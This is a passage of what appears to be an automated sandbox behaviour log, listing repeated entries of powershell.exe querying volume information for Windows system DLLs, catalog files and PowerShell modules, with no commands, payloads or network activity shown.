Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
